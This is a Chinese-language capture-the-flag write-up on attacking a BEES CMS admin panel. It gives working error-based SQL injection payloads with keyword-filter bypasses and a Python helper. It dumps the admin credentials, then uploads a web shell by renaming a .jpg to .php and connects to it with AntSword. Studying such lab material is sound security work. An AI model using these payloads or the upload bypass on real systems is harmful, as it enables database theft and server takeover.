解题思路
习惯在url后加admin,看是不是管理后台。
一看发现是,就不用目录扫描工具了
填入正确的验证码,抓包输入'
,查看有无报错
发现报错了,存在报错注入,看报错描述可以知道是字符型注入
查看当前数据库
payload
' or extractvalue(1,concat(0x7e,database()))%23
查看当前库的所有表
payload
' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))%23
爆出错误,可以看到select被吃了
尝试双写+大小写绕过
payload
user=' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema=database())))%23
select出来了,但是看到=
被吃掉了
使用like替代=
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables where table_schema like database())))%23
where去哪了??
在where后加个*
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(table_name)from information_schema.tables WHERE* table_schema like database())))%23
经过一系列的绕过技术,查询语句终于奏效
extractvalue()函数默认报错显示32个字符,剩下的字符可以用substr(column,31,62)查询后32个字符,以此类推。
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT substr(group_concat(table_name),31,62)from information_schema.tables WHERE* table_schema like database())))%23
盲猜账号密码在bees_admin表中,直接查bees_admin字段名
payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23
这里将空格全部转为%0a
,因为有时候可能是匹配关键字+空格
导致吃掉关键字,其实从一开始就把空格变为%0a,就可以不用绕过太多关键字
payload
'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere*%0atable_name%0alike%0a'bees_admin'%0aand%0atable_schema%0alike%0adatabase())))%23
我这里写了个py脚本进行转换
sql = r"""' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(column_name) from information_schema.columns where* table_name like 'bees_admin' and table_schema like database())))%23"""
def spaceBypass(sql):
str = sql.replace(' ','%0a')
return str
sql = spaceBypass(sql)
print(sql)
可以查询到bees_admin的字段
接下来查询admin_name和admin_password的值
原来payload
' or extractvalue(1,concat(0x7e,(SEselectlECT group_concat(concat(admin_name,':',admin_password)) from bees.bees_admin)))%23
绕过空格payload
'%0aor%0aextractvalue(1,concat(0x7e,(SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin)))%23
防止还有字符没显示出来,使用substr(str,31,62)查看一下后面的内容
payload
'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),31,62)))%23
可以看到flag
注意:这里的4跟前面最后一个4是重复的
继续往后查询
substr(str,62,93)
'%0aor%0aextractvalue(1,concat(0x7e,substr((SEselectlECT%0agroup_concat(concat(admin_name,':',admin_password))%0afrom%0abees.bees_admin),62,93)))%23
将上面flag组合起来就是flag:47ec2dd791e31e2ef2076caf64ed9b3d
解码test123456,拿去一试发现错误,已经习惯了
只好查询账号密码登录后台
组合admin:21232f297a57a5a743894a0e4a801fc3
所以账号密码就是admin admin
找到上传点,上传一句话
shell.jpg内容如下
上传的时候抓包,修改后缀名为php,从而绕过前端后缀名验证
上传成功
可以在burpsuite看到上传点
浏览器访问上传点看能否访问
接着使用蚁剑连接
连接成功,开始找flag
在BEES根目录下找到flag.txt
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)